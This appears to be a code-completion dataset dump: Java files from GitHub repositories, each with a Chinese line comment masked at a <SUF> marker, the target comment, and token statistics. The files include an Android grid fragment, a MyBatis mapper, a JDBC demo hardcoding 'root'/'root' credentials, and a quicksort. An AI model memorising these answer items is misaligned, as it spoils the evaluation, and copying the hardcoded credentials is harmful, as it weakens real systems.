6
2,826
8
3,005
6
2,826
8
3,608
13
false
false
false
false
false
true
63327_24
package cmccsi.mhealth.app.sports.tabhost; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import android.content.DialogInterface; import android.content.Intent; import android.graphics.Color; import android.graphics.drawable.ColorDrawable; import android.os.Build; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.GridView; import android.widget.ImageView; import android.widget.SimpleAdapter; import android.widget.Toast; import cmccsi.mhealth.app.sports.common.Constants; import cmccsi.mhealth.app.sports.common.PreferencesUtils; import cmccsi.mhealth.app.sports.common.SharedPreferredKey; import cmccsi.mhealth.app.sports.common.utils.ToastUtils; import cmccsi.mhealth.app.sports.pedo.PedometerActivity; import cmccsi.mhealth.app.sports.view.CustomDialog; import cmccsi.mhealth.app.sports.R; public class MainGridFragment extends Fragment implements OnClickListener, OnItemClickListener { public static final int TAB_HEALTH = 0; public static final int TAB_CORPORATION = 1; public static final int TAB_PLAY = 2; private int tabId; View view; private GridView gd_main; private SimpleAdapter gridViewAdapter; private List<Map<String, Object>> gridItemView; private Intent intent; private ImageView selectedIcon; public MainGridFragment(){ this.tabId = 0; } public MainGridFragment(int tabId){ this.tabId = tabId; } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // TODO Auto-generated method stub view = inflater.inflate(R.layout.fragment_main_grid, container, false); initView(); intent = new Intent(); return view; } @Override public void onResume() { super.onResume(); if (selectedIcon != null) { selectedIcon.setSelected(false); } } private void initView() { gridItemView = new ArrayList<Map<String, Object>>(); initGridView(); } /** * 初始化gridview */ private void initGridView() { gd_main = (GridView) view.findViewById(R.id.gd_main); gd_main.setSelector(new ColorDrawable(Color.TRANSPARENT)); loadGridViewData(tabId); initAdapter(); gd_main.setAdapter(gridViewAdapter); gd_main.setOnItemClickListener(this); } /** * 添加item * * @param iconRes * @param itemDetails * @param launchId */ private void addItem(int iconRes, String itemDetails, int launchId) { Map<String, Object> item = new HashMap<String, Object>(); item.put("playimg", iconRes); item.put("play", itemDetails); item.put("intent", launchId); gridItemView.add(item); } /** * 初始化适配器 */ private void initAdapter() { String[] gridContent = new String[] { "playimg", "play" }; int[] gridItemId = new int[] { R.id.tab_main_gridview_img, R.id.tab_main_gridview_text }; gridViewAdapter = new SimpleAdapter(getActivity(), gridItemView, R.layout.tab_main_gridview_layout, gridContent, gridItemId); } /** * 加载gridview中的数据 * * @param tag */ private void loadGridViewData(int tag) { switch (tag) { case TAB_HEALTH: loadDataPage1(); break; case TAB_CORPORATION: laodDataPage2(); break; case TAB_PLAY: loadDataPage3(); break; default: loadDataPage1(); break; } } private void loadDataPage3() { addItem(R.drawable.bg_grid_haoyou, "伙伴", 7); addItem(R.drawable.bg_grid_jingsai, "比赛", 8); if (PreferencesUtils.getBoolean(getActivity(), "ISHAVENEWMSG", false)) { addItem(R.drawable.bg_grid_notifacationmsg, "消息", 9); }else { addItem(R.drawable.bg_grid_message, "消息", 9); } //暂时注释掉,以后有可能改动 // addItem(R.drawable.bg_grid_zhishi, "知识", 10); } private void laodDataPage2() { // if (isClubInfoAvailable()) { addItem(R.drawable.grid_qiye, "企业", 4); addItem(R.drawable.grid_quyu, "区域", 15); addItem(R.drawable.bg_grid_daren, "每日达人", 6); // }else { // addItem(R.drawable.grid_qiye_selected, "企业", 4); // addItem(R.drawable.grid_quyu_selected, "区域", 15); // } } private void loadDataPage1() { addItem(R.drawable.bg_grid_health, "运动", 0); addItem(R.drawable.bg_grid_gui, "路线", 1); // addItem(R.drawable.bg_grid_lishi, "历史记录", 2); // addItem(R.drawable.bg_grid_wight, "体重", 3); //隐藏掉 成就模块(在运动界面显示成就) // addItem(R.drawable.bg_grid_goal, "成就", 13); //判断是否绑定有手环设备,有则显示 心境 功能,无则不显示 if(PreferencesUtils.getBoolean(getActivity(), SharedPreferredKey.HAVE_BRACELET_DEVICE, false)){ addItem(R.drawable.bg_grid_ecg, "心境", 14); } } /** * club信息是否正常获取 * @return */ private boolean isClubInfoAvailable(){ return PreferencesUtils.getInt(getActivity(), SharedPreferredKey.CLUB_ID, Constants.DEFAULT_CLUBID) != Constants.DEFAULT_CLUBID; } /** * club信息是否正常获取 * @return */ private boolean isCityInfoAvailable(){ return PreferencesUtils.getInt(getActivity(), SharedPreferredKey.COUNTY_ID, 0) != 0; } @Override public void onClick(View v) { // TODO Auto-generated method stub if (v.getId() == R.id.iv_showGoal) { String mDeviceId = PreferencesUtils.getString(getActivity(), SharedPreferredKey.DEVICE_ID, null); if(mDeviceId != null){ //intent.setClass(getActivity(), PedometorActivity.class); intent.setClass(getActivity(), PedometerActivity.class); startActivity(intent); }else{ ToastUtils.showToast(getActivity(), "请先绑定运动设备!"); } } } @Override public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) { // TODO Auto-generated method stub Map<String, Object> gridItem = gridItemView.get(arg2); int i = (Integer) gridItem.get("intent"); if (i == 4) { if (!isClubInfoAvailable()) { ToastUtils.showToast(getActivity(), "您不是企业用户,无企业相关信息"); return; } } else if(i==15) { if (!isCityInfoAvailable()) { // ToastUtils.showToast(getActivity(), "请您到设置页完善区域组织信息"); isShowAreaInfo(); return; } } //心境功能需要Android 4.3 if(i==14) { if(Build.VERSION.SDK_INT<18) { Toast.makeText(getActivity(), "您的Android系统版本过低,暂不支持心境功能", Toast.LENGTH_SHORT).show(); return; } } selectedIcon = (ImageView) arg1 .findViewById(R.id.tab_main_gridview_img); selectedIcon.setSelected(true); intent.putExtra("intent", i); if (!handleItemClick(i)) { intent.setClass(getActivity(), TabBaseFragment.class); startActivity(intent); } } /** * TODO 展示区域信息对话框 * * @return void * @author zhangfengjuan * @time 下午5:02:20 */ private void isShowAreaInfo() { // 从接口获取"省市县"的信息,未设置,弹出对话框,提示前往设置。 CustomDialog.showDialog(getActivity(), R.string.dialog_area_title, R.string.dialog_area_message, true, R.drawable.ic_dialog_error, getString(R.string.dialog_area_yes), new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { // // 进入设置页面 Intent intent = new Intent(getActivity(), TabBaseFragment.class); intent.putExtra("intent", 11); startActivity(intent); getActivity().finish(); dialog.dismiss(); } }, getString(R.string.dialog_area_no), new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); } /** * 处理item点击事件,过滤特殊item * @return */ private boolean handleItemClick(int launchId) { switch (launchId) { case 0: // int deviceType= PreferencesUtils.getInt(getActivity(), SharedPreferredKey.DEVICE_TYPE, 0); // if(deviceType==2) // { // intent.setClass(getActivity(), PedometorActivity.class); // } // else // { // intent.setClass(getActivity(), PedometerActivity.class); //// } // startActivity(intent); // String mDeviceId = PreferencesUtils.getString(getActivity(), SharedPreferredKey.DEVICE_ID, null); if(mDeviceId != null){ intent.setClass(getActivity(), PedometerActivity.class); startActivity(intent); getActivity().overridePendingTransition(R.anim.slide_in_right,R.anim.silde_out_left); }else{ ToastUtils.showToast(getActivity(), "请先到设置页面激活运动设备!"); selectedIcon.setSelected(false); } return true; default: break; } return false; } }
1136346879/loveSportsApp
src/cmccsi/mhealth/app/sports/tabhost/MainGridFragment.java
2,726
// 从接口获取"省市县"的信息,未设置,弹出对话框,提示前往设置。
line_comment
zh-cn
package cmccsi.mhealth.app.sports.tabhost; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import android.content.DialogInterface; import android.content.Intent; import android.graphics.Color; import android.graphics.drawable.ColorDrawable; import android.os.Build; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.GridView; import android.widget.ImageView; import android.widget.SimpleAdapter; import android.widget.Toast; import cmccsi.mhealth.app.sports.common.Constants; import cmccsi.mhealth.app.sports.common.PreferencesUtils; import cmccsi.mhealth.app.sports.common.SharedPreferredKey; import cmccsi.mhealth.app.sports.common.utils.ToastUtils; import cmccsi.mhealth.app.sports.pedo.PedometerActivity; import cmccsi.mhealth.app.sports.view.CustomDialog; import cmccsi.mhealth.app.sports.R; public class MainGridFragment extends Fragment implements OnClickListener, OnItemClickListener { public static final int TAB_HEALTH = 0; public static final int TAB_CORPORATION = 1; public static final int TAB_PLAY = 2; private int tabId; View view; private GridView gd_main; private SimpleAdapter gridViewAdapter; private List<Map<String, Object>> gridItemView; private Intent intent; private ImageView selectedIcon; public MainGridFragment(){ this.tabId = 0; } public MainGridFragment(int tabId){ this.tabId = tabId; } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // TODO Auto-generated method stub view = inflater.inflate(R.layout.fragment_main_grid, container, false); initView(); intent = new Intent(); return view; } @Override public void onResume() { super.onResume(); if (selectedIcon != null) { selectedIcon.setSelected(false); } } private void initView() { gridItemView = new ArrayList<Map<String, Object>>(); initGridView(); } /** * 初始化gridview */ private void initGridView() { gd_main = (GridView) view.findViewById(R.id.gd_main); gd_main.setSelector(new ColorDrawable(Color.TRANSPARENT)); loadGridViewData(tabId); initAdapter(); gd_main.setAdapter(gridViewAdapter); gd_main.setOnItemClickListener(this); } /** * 添加item * * @param iconRes * @param itemDetails * @param launchId */ private void addItem(int iconRes, String itemDetails, int launchId) { Map<String, Object> item = new HashMap<String, Object>(); item.put("playimg", iconRes); item.put("play", itemDetails); item.put("intent", launchId); gridItemView.add(item); } /** * 初始化适配器 */ private void initAdapter() { String[] gridContent = new String[] { "playimg", "play" }; int[] gridItemId = new int[] { R.id.tab_main_gridview_img, R.id.tab_main_gridview_text }; gridViewAdapter = new SimpleAdapter(getActivity(), gridItemView, R.layout.tab_main_gridview_layout, gridContent, gridItemId); } /** * 加载gridview中的数据 * * @param tag */ private void loadGridViewData(int tag) { switch (tag) { case TAB_HEALTH: loadDataPage1(); break; case TAB_CORPORATION: laodDataPage2(); break; case TAB_PLAY: loadDataPage3(); break; default: loadDataPage1(); break; } } private void loadDataPage3() { addItem(R.drawable.bg_grid_haoyou, "伙伴", 7); addItem(R.drawable.bg_grid_jingsai, "比赛", 8); if (PreferencesUtils.getBoolean(getActivity(), "ISHAVENEWMSG", false)) { addItem(R.drawable.bg_grid_notifacationmsg, "消息", 9); }else { addItem(R.drawable.bg_grid_message, "消息", 9); } //暂时注释掉,以后有可能改动 // addItem(R.drawable.bg_grid_zhishi, "知识", 10); } private void laodDataPage2() { // if (isClubInfoAvailable()) { addItem(R.drawable.grid_qiye, "企业", 4); addItem(R.drawable.grid_quyu, "区域", 15); addItem(R.drawable.bg_grid_daren, "每日达人", 6); // }else { // addItem(R.drawable.grid_qiye_selected, "企业", 4); // addItem(R.drawable.grid_quyu_selected, "区域", 15); // } } private void loadDataPage1() { addItem(R.drawable.bg_grid_health, "运动", 0); addItem(R.drawable.bg_grid_gui, "路线", 1); // addItem(R.drawable.bg_grid_lishi, "历史记录", 2); // addItem(R.drawable.bg_grid_wight, "体重", 3); //隐藏掉 成就模块(在运动界面显示成就) // addItem(R.drawable.bg_grid_goal, "成就", 13); //判断是否绑定有手环设备,有则显示 心境 功能,无则不显示 if(PreferencesUtils.getBoolean(getActivity(), SharedPreferredKey.HAVE_BRACELET_DEVICE, false)){ addItem(R.drawable.bg_grid_ecg, "心境", 14); } } /** * club信息是否正常获取 * @return */ private boolean isClubInfoAvailable(){ return PreferencesUtils.getInt(getActivity(), SharedPreferredKey.CLUB_ID, Constants.DEFAULT_CLUBID) != Constants.DEFAULT_CLUBID; } /** * club信息是否正常获取 * @return */ private boolean isCityInfoAvailable(){ return PreferencesUtils.getInt(getActivity(), SharedPreferredKey.COUNTY_ID, 0) != 0; } @Override public void onClick(View v) { // TODO Auto-generated method stub if (v.getId() == R.id.iv_showGoal) { String mDeviceId = PreferencesUtils.getString(getActivity(), SharedPreferredKey.DEVICE_ID, null); if(mDeviceId != null){ //intent.setClass(getActivity(), PedometorActivity.class); intent.setClass(getActivity(), PedometerActivity.class); startActivity(intent); }else{ ToastUtils.showToast(getActivity(), "请先绑定运动设备!"); } } } @Override public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) { // TODO Auto-generated method stub Map<String, Object> gridItem = gridItemView.get(arg2); int i = (Integer) gridItem.get("intent"); if (i == 4) { if (!isClubInfoAvailable()) { ToastUtils.showToast(getActivity(), "您不是企业用户,无企业相关信息"); return; } } else if(i==15) { if (!isCityInfoAvailable()) { // ToastUtils.showToast(getActivity(), "请您到设置页完善区域组织信息"); isShowAreaInfo(); return; } } //心境功能需要Android 4.3 if(i==14) { if(Build.VERSION.SDK_INT<18) { Toast.makeText(getActivity(), "您的Android系统版本过低,暂不支持心境功能", Toast.LENGTH_SHORT).show(); return; } } selectedIcon = (ImageView) arg1 .findViewById(R.id.tab_main_gridview_img); selectedIcon.setSelected(true); intent.putExtra("intent", i); if (!handleItemClick(i)) { intent.setClass(getActivity(), TabBaseFragment.class); startActivity(intent); } } /** * TODO 展示区域信息对话框 * * @return void * @author zhangfengjuan * @time 下午5:02:20 */ private void isShowAreaInfo() { // 从接 <SUF> CustomDialog.showDialog(getActivity(), R.string.dialog_area_title, R.string.dialog_area_message, true, R.drawable.ic_dialog_error, getString(R.string.dialog_area_yes), new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { // // 进入设置页面 Intent intent = new Intent(getActivity(), TabBaseFragment.class); intent.putExtra("intent", 11); startActivity(intent); getActivity().finish(); dialog.dismiss(); } }, getString(R.string.dialog_area_no), new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); } /** * 处理item点击事件,过滤特殊item * @return */ private boolean handleItemClick(int launchId) { switch (launchId) { case 0: // int deviceType= PreferencesUtils.getInt(getActivity(), SharedPreferredKey.DEVICE_TYPE, 0); // if(deviceType==2) // { // intent.setClass(getActivity(), PedometorActivity.class); // } // else // { // intent.setClass(getActivity(), PedometerActivity.class); //// } // startActivity(intent); // String mDeviceId = PreferencesUtils.getString(getActivity(), SharedPreferredKey.DEVICE_ID, null); if(mDeviceId != null){ intent.setClass(getActivity(), PedometerActivity.class); startActivity(intent); getActivity().overridePendingTransition(R.anim.slide_in_right,R.anim.silde_out_left); }else{ ToastUtils.showToast(getActivity(), "请先到设置页面激活运动设备!"); selectedIcon.setSelected(false); } return true; default: break; } return false; } }
0
2,193
23
2,726
25
2,806
21
2,726
25
3,376
39
false
false
false
false
false
true
52339_0
package com.springmvc.dao; import com.springmvc.entity.City; import com.springmvc.entity.TreeData; import java.util.List; public interface CityMapper { int deleteByPrimaryKey(Integer cityNo);//根据主键删除城市记录 int insert(City record);//新添城市(含城市全部信息) int insertSelective(City record);//新添城市(可以只含有城市部分信息) City selectByPrimaryKey(Integer cityNo);//根据主键查找某个城市 int updateByPrimaryKeySelective(City record);//更新城市信息(可以只更新部分信息) int updateByPrimaryKey(City record);//更新城市信息(更新全部信息) List<City> findAllCity();//查找所有城市 List<TreeData> findAllCityTreeData();//生成城市的TreeData List<City> findCityByCondition(City record);//查找条件检索城市 List<TreeData> getCityAirportTree();//生成城市-机场 的treedata }
1144878989/SSM_20190116
src/main/java/com/springmvc/dao/CityMapper.java
234
//根据主键删除城市记录
line_comment
zh-cn
package com.springmvc.dao; import com.springmvc.entity.City; import com.springmvc.entity.TreeData; import java.util.List; public interface CityMapper { int deleteByPrimaryKey(Integer cityNo);//根据 <SUF> int insert(City record);//新添城市(含城市全部信息) int insertSelective(City record);//新添城市(可以只含有城市部分信息) City selectByPrimaryKey(Integer cityNo);//根据主键查找某个城市 int updateByPrimaryKeySelective(City record);//更新城市信息(可以只更新部分信息) int updateByPrimaryKey(City record);//更新城市信息(更新全部信息) List<City> findAllCity();//查找所有城市 List<TreeData> findAllCityTreeData();//生成城市的TreeData List<City> findCityByCondition(City record);//查找条件检索城市 List<TreeData> getCityAirportTree();//生成城市-机场 的treedata }
0
197
7
234
7
215
6
234
7
319
13
false
false
false
false
false
true
18724_4
package 学生基本信息管理平台; import java.sql.*; public class demo { public static void main(String[] args) { try { //前两行连接数据库 端口:3306 数据库:lxx 账号:root 密码:root Class.forName("com.mysql.cj.jdbc.Driver"); Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3307/lxxsql?serverTimezone=GMT%2B8", "root", "root"); //这行是数据库指令 问号代表值的个数 String sql = "insert into prj values(?,?,?,?,?);"; //对ps变量使用sql操作 PreparedStatement ps = con.prepareStatement(sql); //ps操作中要输入的两个值 ps.setString(1, "001"); ps.setString(2, "包子"); ps.setString(3, "1"); ps.setString(4, "1.5"); ps.setString(5, "1998..5.17"); //成功验证 int rows = ps.executeUpdate(); if(rows == 1) { System.out.println("添加成功"); } } catch (ClassNotFoundException e1){} catch (SQLException e) { e.printStackTrace(); //失败验证 System.out.println("添加失败"); } } }
1160708674/student
demo.java
314
//ps操作中要输入的两个值
line_comment
zh-cn
package 学生基本信息管理平台; import java.sql.*; public class demo { public static void main(String[] args) { try { //前两行连接数据库 端口:3306 数据库:lxx 账号:root 密码:root Class.forName("com.mysql.cj.jdbc.Driver"); Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3307/lxxsql?serverTimezone=GMT%2B8", "root", "root"); //这行是数据库指令 问号代表值的个数 String sql = "insert into prj values(?,?,?,?,?);"; //对ps变量使用sql操作 PreparedStatement ps = con.prepareStatement(sql); //ps <SUF> ps.setString(1, "001"); ps.setString(2, "包子"); ps.setString(3, "1"); ps.setString(4, "1.5"); ps.setString(5, "1998..5.17"); //成功验证 int rows = ps.executeUpdate(); if(rows == 1) { System.out.println("添加成功"); } } catch (ClassNotFoundException e1){} catch (SQLException e) { e.printStackTrace(); //失败验证 System.out.println("添加失败"); } } }
0
295
10
311
10
335
10
311
10
406
13
false
false
false
false
false
true
47073_2
package com.lwl.dubbo.dao.impl; import org.springframework.stereotype.Repository; import com.lwl.dubbo.dao.UserDao; import com.lwl.dubbo.domain.User; /** * DAO数据层操作 * @author Administrator * @create 2016-8-9 上午10:30:03 * @version 1.0 */ @Repository("userDao") public class UserDaoImpl implements UserDao { /** * 通过模拟数据库数据,返回结果 * 看客可以根据自己需要 从数据库获取数据然后返回 * @param id * @return * @author Administrator * @create 2016-8-9 上午10:31:34 */ @Override public User findUserById(long id) { User info = new User(); info.setId(id); info.setEmail("xxxxxxxxxx@163.com"); info.setMobile("13844445555"); info.setUsername("宇宙最帅"); info.setPassword("12345600"); return info; } @Override public User findUserThrowsException() { //让程序出错,便于返回测试 int i = 1/0; System.out.println(i); return null; } }
1181888200/dubbo
lwl-dubbo/dubbo-web/src/main/java/com/lwl/dubbo/dao/impl/UserDaoImpl.java
346
//让程序出错,便于返回测试
line_comment
zh-cn
package com.lwl.dubbo.dao.impl; import org.springframework.stereotype.Repository; import com.lwl.dubbo.dao.UserDao; import com.lwl.dubbo.domain.User; /** * DAO数据层操作 * @author Administrator * @create 2016-8-9 上午10:30:03 * @version 1.0 */ @Repository("userDao") public class UserDaoImpl implements UserDao { /** * 通过模拟数据库数据,返回结果 * 看客可以根据自己需要 从数据库获取数据然后返回 * @param id * @return * @author Administrator * @create 2016-8-9 上午10:31:34 */ @Override public User findUserById(long id) { User info = new User(); info.setId(id); info.setEmail("xxxxxxxxxx@163.com"); info.setMobile("13844445555"); info.setUsername("宇宙最帅"); info.setPassword("12345600"); return info; } @Override public User findUserThrowsException() { //让程 <SUF> int i = 1/0; System.out.println(i); return null; } }
0
288
9
346
10
335
9
346
10
431
17
false
false
false
false
false
true
57676_2
package txtPakge.Demo2; import java.util.Scanner; public class IfDemo1 { public static void main(String[] args) { //需求:键盘录入女婿酒量,大于2斤,老丈人给出回应,反之不回应 //1.录入酒量 Scanner sc=new Scanner(System.in); System.out.println("输入酒量(L):"); double drunk=sc.nextDouble(); //2.If语句判断回应(只有一个单独的执行语句体时也可以不写大括号,包含多个运算的不算单独) //例如 int a=100;算是两句执行语句 if(drunk>2){ System.out.println("小伙子,不错!!"); } } }
1187501208/Myself_petterJonkson_prictice
day02-code/src/txtPakge/Demo2/IfDemo1.java
200
//2.If语句判断回应(只有一个单独的执行语句体时也可以不写大括号,包含多个运算的不算单独)
line_comment
zh-cn
package txtPakge.Demo2; import java.util.Scanner; public class IfDemo1 { public static void main(String[] args) { //需求:键盘录入女婿酒量,大于2斤,老丈人给出回应,反之不回应 //1.录入酒量 Scanner sc=new Scanner(System.in); System.out.println("输入酒量(L):"); double drunk=sc.nextDouble(); //2. <SUF> //例如 int a=100;算是两句执行语句 if(drunk>2){ System.out.println("小伙子,不错!!"); } } }
0
156
30
200
34
186
29
200
34
260
59
false
false
false
false
false
true
28203_4
package Txte; import Gongsi.xiangmu.Dog1; import org.junit.Test; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; public class Java3 { @Test public void f01(){ List list = new ArrayList(); list.add(new Dog1("大大","雪纳瑞")); list.add(new Dog1("啊啊","拉布拉多")); list.add(new Dog1("等等","土狗")); list.add(new Dog1("弟弟","藏獒")); list.add(new Dog1("威尔","柯基")); System.out.println("共有"+list.size() +"条狗"); for(int i = 0;i<list.size();i++){ System.out.println(list.get(i)); } //contains,remove如果不在Dog1中改写equals,那它就是比较的是地址,不会比较字符串,会出现false。 System.out.println(list.contains(new Dog1("威尔","柯基"))); System.out.println("---------------"); list.remove(new Dog1("啊啊","拉布拉多"));//返回的是真假 //list.remove(2);//返回的是Dog1("啊啊","拉布拉多") System.out.println(new Dog1("啊啊","拉布拉多")); System.out.println("----------------"); for(int i = 0;i<list.size();i++){ System.out.println(list.get(i)); } } @Test public void f02(){ LinkedList list1 = new LinkedList(); list1.add(new Dog1("大大","雪纳瑞")); list1.add(new Dog1("啊啊","拉布拉多")); list1.add(new Dog1("等等","土狗")); list1.add(new Dog1("弟弟","藏獒")); list1.add(new Dog1("威尔","柯基")); //首尾各增加一个 list1.addFirst(new Dog1("简爱","牧羊犬")) ; list1.addLast(new Dog1("浪漫","二哈")) ; for(int i = 0;i<list1.size();i++){ System.out.println(list1.get(i)); } //首尾各读取一个() System.out.println("-------------"); Dog1 dog1First = (Dog1)list1.getFirst(); Dog1 dog1Last = (Dog1)list1.getLast(); System.out.println(dog1First); System.out.println(dog1Last); for(int i = 0;i<list1.size();i++){ System.out.println(list1.get(i)); } } }
1223445667889/Java
JAVA6/src/Txte/Java3.java
686
//首尾各读取一个()
line_comment
zh-cn
package Txte; import Gongsi.xiangmu.Dog1; import org.junit.Test; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; public class Java3 { @Test public void f01(){ List list = new ArrayList(); list.add(new Dog1("大大","雪纳瑞")); list.add(new Dog1("啊啊","拉布拉多")); list.add(new Dog1("等等","土狗")); list.add(new Dog1("弟弟","藏獒")); list.add(new Dog1("威尔","柯基")); System.out.println("共有"+list.size() +"条狗"); for(int i = 0;i<list.size();i++){ System.out.println(list.get(i)); } //contains,remove如果不在Dog1中改写equals,那它就是比较的是地址,不会比较字符串,会出现false。 System.out.println(list.contains(new Dog1("威尔","柯基"))); System.out.println("---------------"); list.remove(new Dog1("啊啊","拉布拉多"));//返回的是真假 //list.remove(2);//返回的是Dog1("啊啊","拉布拉多") System.out.println(new Dog1("啊啊","拉布拉多")); System.out.println("----------------"); for(int i = 0;i<list.size();i++){ System.out.println(list.get(i)); } } @Test public void f02(){ LinkedList list1 = new LinkedList(); list1.add(new Dog1("大大","雪纳瑞")); list1.add(new Dog1("啊啊","拉布拉多")); list1.add(new Dog1("等等","土狗")); list1.add(new Dog1("弟弟","藏獒")); list1.add(new Dog1("威尔","柯基")); //首尾各增加一个 list1.addFirst(new Dog1("简爱","牧羊犬")) ; list1.addLast(new Dog1("浪漫","二哈")) ; for(int i = 0;i<list1.size();i++){ System.out.println(list1.get(i)); } //首尾 <SUF> System.out.println("-------------"); Dog1 dog1First = (Dog1)list1.getFirst(); Dog1 dog1Last = (Dog1)list1.getLast(); System.out.println(dog1First); System.out.println(dog1Last); for(int i = 0;i<list1.size();i++){ System.out.println(list1.get(i)); } } }
0
539
8
682
8
683
8
682
8
838
14
false
false
false
false
false
true
14889_4
package com.wangzhen.algorithm.sort.ans.quickSort; import org.junit.Test; /** * Description: 这次,今天一定要把快速排序搞定 * Datetime: 2020/11/4 9:32 下午 * Author: 王震 */ public class Solution { @Test public void test(){ int []array = {-74,48,-20,2,10,-84,-5,-9,11,-24,-91,2,-71,64,63,80,28,-30,-58,-11,-44,-87,-22,54,-74,-10,-55,-28,-46,29,10,50,-72,34,26,25,8,51,13,30,35,-8,50,65,-6,16,-2,21,-78,35,-13,14,23,-3,26,-90,86,25,-56,91,-13,92,-25,37,57,-20,-69,98,95,45,47,29,86,-28,73,-44,-46,65,-84,-96,-24,-12,72,-68,93,57,92,52,-45,-2,85,-63,56,55,12,-85,77,-39}; // int [] array ={3,4,5,1,6,7,8}; int []sortArray = sortArray(array); for (int i = 0; i < sortArray.length; i++) { System.out.println(sortArray[i]); } } public int[] sortArray(int[] nums) { quickSort(nums,0,nums.length-1); return nums; } public void quickSort(int []arr,int left,int right){ if(left<right){ int part = partition(arr,left,right); quickSort(arr,left,part -1); quickSort(arr,part+1,right); } } // 找到一个part 的值让part 右边的数据都比part大 // 让part 左边的数据都比part小 // 从右边向左找一个比part 大的值,从左边向右边找一个比part 大的值 public int partition(int []arr,int left,int right){ // 选取左边的数作为基准值 int part = arr[left]; int temp = left; // 当left 和right 相遇就可直接退出 while (left<right){ while (left<right&&arr[right]>=part){ right --; } //arr[left] = arr[right]; while (left<right&&arr[left]<=part){ left++; } //arr[right] = arr[left]; swap(arr,left,right); } // arr[left] = part; swap(arr,temp,left); return left; } public void swap(int []a ,int i,int j){ int temp = a[i]; a[i] = a[j]; a[j] = temp; } }
1228857713/jvmOnJava
algorithm/src/main/java/com/wangzhen/algorithm/sort/ans/quickSort/Solution.java
807
// 从右边向左找一个比part 大的值,从左边向右边找一个比part 大的值
line_comment
zh-cn
package com.wangzhen.algorithm.sort.ans.quickSort; import org.junit.Test; /** * Description: 这次,今天一定要把快速排序搞定 * Datetime: 2020/11/4 9:32 下午 * Author: 王震 */ public class Solution { @Test public void test(){ int []array = {-74,48,-20,2,10,-84,-5,-9,11,-24,-91,2,-71,64,63,80,28,-30,-58,-11,-44,-87,-22,54,-74,-10,-55,-28,-46,29,10,50,-72,34,26,25,8,51,13,30,35,-8,50,65,-6,16,-2,21,-78,35,-13,14,23,-3,26,-90,86,25,-56,91,-13,92,-25,37,57,-20,-69,98,95,45,47,29,86,-28,73,-44,-46,65,-84,-96,-24,-12,72,-68,93,57,92,52,-45,-2,85,-63,56,55,12,-85,77,-39}; // int [] array ={3,4,5,1,6,7,8}; int []sortArray = sortArray(array); for (int i = 0; i < sortArray.length; i++) { System.out.println(sortArray[i]); } } public int[] sortArray(int[] nums) { quickSort(nums,0,nums.length-1); return nums; } public void quickSort(int []arr,int left,int right){ if(left<right){ int part = partition(arr,left,right); quickSort(arr,left,part -1); quickSort(arr,part+1,right); } } // 找到一个part 的值让part 右边的数据都比part大 // 让part 左边的数据都比part小 // 从右 <SUF> public int partition(int []arr,int left,int right){ // 选取左边的数作为基准值 int part = arr[left]; int temp = left; // 当left 和right 相遇就可直接退出 while (left<right){ while (left<right&&arr[right]>=part){ right --; } //arr[left] = arr[right]; while (left<right&&arr[left]<=part){ left++; } //arr[right] = arr[left]; swap(arr,left,right); } // arr[left] = part; swap(arr,temp,left); return left; } public void swap(int []a ,int i,int j){ int temp = a[i]; a[i] = a[j]; a[j] = temp; } }
0
752
27
807
25
833
22
807
25
916
36
false
false
false
false
false
true
56965_12
package com.lxw.videoworld.app.model; import java.io.Serializable; import io.realm.RealmObject; import io.realm.annotations.PrimaryKey; /** * Created by lxw9047 on 2017/5/3. */ public class SourceDetailModel extends RealmObject implements Serializable { @PrimaryKey private String url; private String sourceType; private String id; private String category;// 一级分类 private String type;// 二级分类 private String title; private String images; private String content;// 详情信息 private String name;// 名字 private String translateName;// 译名 private String year;// 年份 private String area;// 国家、地区 private String style;// 详情里的分类 private String language;// 语言 private String subtitles;// 字幕语言 private String releaseDate;// 首映日期 private String imdbScore; private String imdbIntro; private String imdbUrl; private String doubanScore;// 豆瓣评分 private String doubanIntro;// 豆瓣评分说明 private String doubanUrl;// 豆瓣评分地址 private String fileFormat;// 文件格式 private String fileSize;// 清晰度 private String fileAmounts;// 张数 1 CD private String fileLength;// 时长 private String author;// 编剧 private String director;// 导演 private String performer;// 主演 private String intro;// 简介 private String awards;// 获奖情况 private String episodes;// 集数 private String links;// 下载链接 private String date;// 网站更新时间 private String status; private long time;// 数据库时间 public String getUrl() { return url; } public void setUrl(String url) { this.url = url; } public String getSourceType() { return sourceType; } public void setSourceType(String sourceType) { this.sourceType = sourceType; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getImages() { return images; } public void setImages(String images) { this.images = images; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getTranslateName() { return translateName; } public void setTranslateName(String translateName) { this.translateName = translateName; } public String getYear() { return year; } public void setYear(String year) { this.year = year; } public String getArea() { return area; } public void setArea(String area) { this.area = area; } public String getStyle() { return style; } public void setStyle(String style) { this.style = style; } public String getLanguage() { return language; } public void setLanguage(String language) { this.language = language; } public String getSubtitles() { return subtitles; } public void setSubtitles(String subtitles) { this.subtitles = subtitles; } public String getReleaseDate() { return releaseDate; } public void setReleaseDate(String releaseDate) { this.releaseDate = releaseDate; } public String getImdbScore() { return imdbScore; } public void setImdbScore(String imdbScore) { this.imdbScore = imdbScore; } public String 